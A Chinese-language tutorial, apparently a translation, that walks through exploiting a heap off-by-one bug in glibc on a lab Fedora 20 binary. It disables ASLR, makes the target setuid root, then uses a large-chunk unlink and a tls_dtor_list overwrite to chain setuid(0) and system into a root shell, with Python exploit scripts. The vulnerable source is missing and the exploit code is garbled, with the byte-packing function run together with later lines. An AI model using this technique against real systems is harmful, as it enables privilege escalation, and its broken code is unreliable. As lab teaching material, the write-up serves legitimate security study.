Off-By-One 漏洞(基于堆)
预备条件:
VM 配置:Fedora 20(x86)
什么是 Off-By-One 漏洞?
在这篇文章中提到过,将源字符串复制到目标缓冲区可能造成 Off-By-One 漏洞,当源字符串的长度等于目标缓冲区长度的时候。
当源字符串的长度等于目标缓冲区长度的时候,单个 NULL 字符会复制到目标缓冲区的上方。因此由于目标缓冲区位于堆上,单个 NULL 字节会覆盖下一个块的块头部,并且这会导致任意代码执行。
回顾:在文章中提到,在每个用户请求堆内存时,堆段被划分为多个块。每个块有自己的块头部(由表示)。malloc_chunk
结构包含下面四个元素:
prev_size
— 如果前一个块空闲,这个字段包含前一个块的大小。否则前一个块是分配的,这个字段包含前一个块的用户数据。size
:这个字符包含分配块的大小。字段的最后三位包含标志信息。PREV_INUSE (P)
如果前一个块已分配,会设置这个位。IS_MMAPPED (M)
当块是 mmap 块时,会设置这个位。NON_MAIN_ARENA (N)
当这个块属于线程 arena 时,会设置这个位。
fd
指向相同 bin 的下一个块。bk
指向相同 bin 的上一个块。
漏洞代码:
编译命令:
#echo 0 > /proc/sys/kernel/randomize_va_space
$gcc -o consolidate_forward consolidate_forward.c
$sudo chown root consolidate_forward
$sudo chgrp root consolidate_forward
$sudo chmod +s consolidate_forward
注意:
出于我们的演示目的,关闭了 ASLR。如果你也想要绕过 ASLR,使用信息泄露 bug,或者爆破机制,在这篇文章中描述。
任意代码执行,当单个 NULL 字节覆盖下一个块(p3
)的块头部时实现。当大小为 1020 字节(p2
)的块由单个字节溢出时,下一个块(p3
)的头部中的size
的最低字节会被 NULL 字节覆盖,并不是prev_size
的最低字节。
为什么
size
的 LSB 会被覆盖,而不是prev_size
?
checked_request2size
将用户请求的大小转换为可用大小(内部表示的大小),因为需要一些额外空间来储存malloc_chunk
,并且也出于对齐目的。转换实现的方式是,可用大小的三个最低位始终不会为零(也就是 8 的倍数,译者注),所以可以用于放置标志信息 P、M 和 N。
因此当我们的漏洞代码执行malloc(1020)
时,用户请求大小 1020 字节会转换为((1020 + 4 + 7) & ~7)
字节(内部表示大小)。1020 字节的分配块的富余量仅仅是 4 个字节。但是对于任何分配块,我们需要 8 字节的块头部,以便储存prev_size
和size
信息。因此 1024 字节的前八字节会用于块头部,但是现在我们只剩下 1016(1024 - 8)字节用于用户数据,而不是 1020 字节。但是像上面prev_size
定义中所述,如果上一个块(p2
)已分配,块(p3
)的prev_size
字段包含用户数据。因此块p3
的prev_size
位于这个 1024 字节的分配块p2
后面,并包含剩余 4 字节的用户数据。这就是size
的 LSB 被单个 NULL 字节覆盖,而不是prev_size
的原因。
堆布局
注意:上述图片中的攻击者数据会在下面的“覆盖tls_dtor_list
”一节中解释。
现在回到我们原始的问题。
现在我们知道了,在 off-by-one 漏洞中,单个 NULL 字节会覆盖下一个块(p3
)size
字段的 LSB。这单个 NULL 字节的溢出意味着这个块(p3
)的标志信息被清空,也就是被溢出块(p2
)变成空闲块,虽然它处于分配状态。当被溢出块(p2
)的标志 P 被清空,这个不一致的状态让 glibc 代码 unlink 这个块(p2
),它已经在分配状态。
在这篇文章中我们看到,unlink 一个已经处于分配状态的块,会导致任意代码执行,因为任何四个字节的内存区域都能被攻击者的数据覆盖。但是在同一篇文章中,我们也看到,unlink 技巧已经废弃,因为 glibc 近几年来变得更加可靠。具体来说,因为“双向链表损坏”的条件,任意代码执行时不可能的。
但是在 2014 年末,Google 的 Project Zero 小组找到了一种方式,来成功绕过“双向链表损坏”的条件,通过 unlink large 块。
unlink:
然而还有一些东西应该解释,所以让我们更详细地看看,unlink large 块如何导致任意代码执行。由于攻击者已经控制了 — 要被释放的 large 块,它覆盖了malloc_chunk
元素,像这样:
fd
应该指向被释放的块,来绕过主要环形双向链表的加固。bk
也应该指向被释放的块,来绕过主要环形双向链表的加固。fd_nextsize
应该指向free_got_addr – 0x14
。bk_nextsize
应该指向system_addr
。
但是根据行[6]
和[7]
,需要让fd_nextsize
和bk_nextsize
都是可写的。是可写的,(因为它指向了free_got_addr – 0x14
),但是bk_nextsize
不是可写的,因为他指向了system_addr
,它属于libc.so
的文本段。让fd_nextsize
和bk_nextsize
都可写的问题,可以通过覆盖tls_dtor_list
来解决。
覆盖tls_dtor_list
:
tls_dtor_list
是个线程局部的变量,它包含函数指针的列表,它们在exit
过程中调用。__call_tls_dtors
遍历tls_dtor_list
并依次调用函数。因此如果我们可以将tls_dtor_list
覆盖为堆地址,它包含system
和system_arg
,来替代dtor_list
的func
和obj
,我们就能调用system
。
所以现在攻击者需要覆盖要被释放的 large 块的malloc_chunk
元素,像这样:
fd
应该指向被释放的块,来绕过主要环形双向链表的加固。bk
也应该指向被释放的块,来绕过主要环形双向链表的加固。fd_nextsize
应该指向tls_dtor_list - 0x14
。bk_nextsize
应该指向含有dtor_list
元素的堆地址。
fd_nextsize
可写的问题解决了,因为tls_dtor_list
属于libc.so
的可写区段,并且通过反汇编_call_tls_dtors()
,tls_dtor_list
的地址为0xb7fe86d4
。
bk_nextsize
可写的问题也解决了,因为它指向堆地址。
使用所有这些信息,让我们编写利用程序来攻击漏洞二进制的“前向合并”。
利用代码:
#exp_try.py
#!/usr/bin/env python
import struct
from subprocess import call
fd = 0x0804b418
bk = 0x0804b418
bk_nextsize = 0x804b430
system = 0x4e0a86e0
sh = 0x80482ce
#endianess convertion
def conv(num):
return struct.pack("<I",num(fd)
buf += conv(bk)
buf += conv(fd_nextsize)
buf += conv(bk_nextsize)
buf += conv(system)
buf += conv(sh)
print "Calling vulnerable program"
call(["./consolidate_forward", buf])
执行上述利用代码不会向我们提供 root shell。它向我们提供了一个运行在我们的权限级别的 bash shell。嗯…
为什么不能获得 root shell?
当uid != euid
时,/bin/bash
会丢弃权限。我们的二进制“前向合并”的真实 uid 是 1000,但是它的有效 uid 是 0。因此当system
调用时,bash 会丢弃权限,因为真实 uid 不等于有效 uid。为了解决这个问题,我们需要在system
之前调用setuid(0)
,因为_call_tls_dtors()
依次遍历tls_dtor_list
,我们需要将setuid
和system
链接,以便获得 root shell。
完整的利用代码:
#gen_file.py
#!/usr/bin/env python
import struct
#dtor_list
setuid = 0x4e123e30
setuid_arg = 0x0
mp = 0x804b020
nxt = 0x804b430
#endianess convertion
def conv(num):
return struct.pack("<I",num(setuid)
tst += conv(mp)
tst += conv(nxt)
print tst
-----------------------------------------------------------------------------------------------------------------------------------
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call
fd = 0x0804b418
bk = 0x0804b418
fd_nextsize = 0xb7fe86c0
bk_nextsize = 0x804b008
system = 0x4e0a86e0
sh = 0x80482ce
#endianess convertion
def conv(num):
return struct.pack("<I",num(fd)
buf += conv(bk)
buf += conv(fd_nextsize)
buf += conv(bk_nextsize)
buf += conv(system)
buf += conv(sh)
buf += "A" * 996
call(["./consolidate_forward", buf])
我们的 off-by-one 漏洞代码会向前合并块,也可以向后合并。这种向后合并 off-by-one 漏洞代码也可以利用。